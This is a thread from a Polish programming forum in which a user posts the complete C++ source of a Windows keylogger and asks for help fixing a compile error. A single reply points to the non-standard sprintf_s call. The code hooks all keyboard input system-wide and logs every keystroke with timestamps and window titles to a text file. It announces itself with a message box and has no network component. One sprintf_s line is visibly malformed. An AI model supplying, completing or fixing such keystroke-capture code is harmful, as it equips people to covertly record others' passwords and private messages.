Kompilacja C++

0

Witam
Mam problem iż mam kod c++ keylogger ale przy kompilacji mam błąd
Występuje on przy debug i release

/*
        Coded by 0DFh.
        Visit my website: http://0dfh.opx.pl/
*/

#include <iostream>
#include <fstream>
#include <windows.h>

HHOOK hKeyboardHook = 0;
std::string LogFile;
HWND hCurrentWindow;
char sWindowTitle[256];
char cReturn[] = {13, 10};
std::ofstream fLogFile;
SYSTEMTIME SystemTime;
char cTime[64];
char cFileName[64];

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
        KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;

        if (nCode >= 0)
        {
                if (wParam == WM_KEYUP)
                {
                        if(hCurrentWindow != GetForegroundWindow())
                        {
                                hCurrentWindow = GetForegroundWindow();
                                GetWindowText(hCurrentWindow, sWindowTitle, 256);
                                GetSystemTime(&SystemTime);
                                **sprintf_s(cTime, "[Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute** **SystemTime.wSecond);
                                LogFile += cReturn;
                                LogFile += cTime;
                                LogFile += " Nazwa okna: ";
                                LogFile += sWindowTitle;
                                LogFile += " ]";
                                LogFile += cReturn;
                        }
                        switch(pKbdLLHookStruct->vkCode)
                        {
                                case VK_RETURN:
                                        LogFile += "[Enter]";
                                        LogFile += cReturn;

                                        break;
                                case VK_BACK:
                                        LogFile += "[Backspace]";
                                        break;
                                case VK_ESCAPE:
                                        LogFile += "[Escape]";
                                        break;
                                case VK_CAPITAL:
                                        LogFile += "[Capslock]";
                                        break;
                                case VK_LMENU:
                                        LogFile += "[LAlt]";
                                        break;
                                case VK_RMENU:
                                        LogFile += "[RAlt]";
                                        break;
                                case VK_MENU:
                                        LogFile += "[Alt]";
                                        break;
                                case VK_CONTROL:
                                        LogFile += "[Ctrl]";
                                        break;
                                case VK_DELETE:
                                        LogFile += "[Delete]";
                                        break;
                                case VK_SPACE:
                                        LogFile += " ";
                                        break;
                                case VK_MULTIPLY:
                                        LogFile += "*";
                                        break;
                                case VK_ADD:
                                        LogFile += "+";
                                        break;
                                case VK_SUBTRACT:
                                        LogFile += "-";
                                        break;
                                case VK_DECIMAL:
                                        LogFile += ".";
                                        break;
                                case VK_DIVIDE:
                                        LogFile += "/";
                                        break;
                                case 188:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "<";
                                        else
                                                LogFile += ",";
                                        break;
                                case 192:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "~~";
                                        else
                                                LogFile += "";
                                        break;
                                case 222:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "\"";
                                        else
                                                LogFile += "'";
                                        break;
                                case 220:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "|";
                                        else
                                                LogFile += "\\";
                                        break;
                                case 219:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "{";
                                        else
                                                LogFile += "[";
                                        break;
                                case 221:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "}";
                                        else
                                                LogFile += "]";
                                        break;
                                case 186:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += ":";
                                        else
                                                LogFile += ";";
                                        break;
                                case 191:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "?";
                                        else
                                                LogFile += "/";
                                        break;
                                case 190:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += ">";
                                        else
                                                LogFile += ".";
                                        break;
                                case 44:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "<";
                                        else
                                                LogFile += ",";
                                        break;
                                case 187:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "+";
                                        else
                                                LogFile += "=";
                                        break;
                                case 189:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "_";
                                        else
                                                LogFile += "-";
                                        break;
                                case 65:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "A";
                                        else
                                                LogFile += "a";
                                        break;
                                case 66:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "B";
                                        else
                                                LogFile += "b";
                                        break;
                                case 67:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "C";
                                        else
                                                LogFile += "c";
                                        break;
                                case 68:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "D";
                                        else
                                                LogFile += "d";
                                        break;
                                case 69:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "E";
                                        else
                                                LogFile += "e";
                                        break;
                                case 70:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "F";
                                        else
                                                LogFile += "f";
                                        break;
                                case 71:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "G";
                                        else
                                                LogFile += "g";
                                        break;
                                case 72:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "H";
                                        else
                                                LogFile += "h";
                                        break;
                                case 73:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "I";
                                        else
                                                LogFile += "i";
                                        break;
                                case 74:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "J";
                                        else
                                                LogFile += "j";
                                        break;
                                case 75:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "K";
                                        else
                                                LogFile += "k";
                                        break;
                                case 76:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "L";
                                        else
                                                LogFile += "l";
                                        break;
                                case 77:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "M";
                                        else
                                                LogFile += "m";
                                        break;
                                case 78:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "N";
                                        else
                                                LogFile += "n";
                                        break;
                                case 79:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "O";
                                        else
                                                LogFile += "o";
                                        break;
                                case 80:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "P";
                                        else
                                                LogFile += "p";
                                        break;
                                case 81:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "Q";
                                        else
                                                LogFile += "q";
                                        break;
                                case 82:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "R";
                                        else
                                                LogFile += "r";
                                        break;
                                case 83:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "S";
                                        else
                                                LogFile += "s";
                                        break;
                                case 84:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "T";
                                        else
                                                LogFile += "t";
                                        break;
                                case 85:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "U";
                                        else
                                                LogFile += "u";
                                        break;
                                case 86:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "V";
                                        else
                                                LogFile += "v";
                                        break;
                                case 87:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "W";
                                        else
                                                LogFile += "w";
                                        break;
                                case 88:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "X";
                                        else
                                                LogFile += "x";
                                        break;
                                case 89:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "Y";
                                        else
                                                LogFile += "y";
                                        break;
                                case 90:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "Z";
                                        else
                                                LogFile += "z";
                                        break;
                                case VK_NUMPAD0:
                                        LogFile += "0";
                                        break;
                                case VK_NUMPAD1:
                                        LogFile += "1";
                                        break;
                                case VK_NUMPAD2:
                                        LogFile += "2";
                                        break;
                                case VK_NUMPAD3:
                                        LogFile += "3";
                                        break;
                                case VK_NUMPAD4:
                                        LogFile += "4";
                                        break;
                                case VK_NUMPAD5:
                                        LogFile += "5";
                                        break;
                                case VK_NUMPAD6:
                                        LogFile += "6";
                                        break;
                                case VK_NUMPAD7:
                                        LogFile += "7";
                                        break;
                                case VK_NUMPAD8:
                                        LogFile += "8";
                                        break;
                                case VK_NUMPAD9:
                                        LogFile += "9";
                                        break;
                                case 48:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += ")";
                                        else
                                                LogFile += "0";
                                        break;
                                case 49:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "!";
                                        else
                                                LogFile += "1";
                                        break;
                                case 50:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "@";
                                        else
                                                LogFile += "2";
                                        break;
                                case 51:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "#";
                                        else
                                                LogFile += "3";
                                        break;
                                case 52:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "$";
                                        else
                                                LogFile += "4";
                                        break;
                                case 53:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "%";
                                        else
                                                LogFile += "5";
                                        break;
                                case 54:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "^";
                                        else
                                                LogFile += "6";
                                        break;
                                case 55:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "&";
                                        else
                                                LogFile += "7";
                                        break;
                                case 56:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "*";
                                        else
                                                LogFile += "8";
                                        break;
                                case 57:
                                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                                                LogFile += "(";
                                        else
                                                LogFile += "9";
                                        break;
                        }
                }
        }

        return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
        hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
        if(hKeyboardHook == NULL)
                MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);

        MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);

        // pobierz czas i datÄ™, i doklej jÄ… do nazwy pliku
        GetSystemTime(&SystemTime);
        sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);

        // zapisz log do pliku
        fLogFile.open(cFileName);
        fLogFile << LogFile.c_str();
        fLogFile.close();

        if(UnhookWindowsHookEx(hKeyboardHook) == 0)
                MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);

        return EXIT_SUCCESS;
} 

Proszę o pomoc
Zdjęcie z programu w załączniku

2

sprintf_s z takim wywołaniem to Microsoftowy niestandardowy wymysł. (dodany do standardu C11, ale w innej formie - patrz komentarze). Zamień to na snprintf, napisz wrappera lub kompiluj kompilatorem MS.

1 użytkowników online, w tym zalogowanych: 0, gości: 1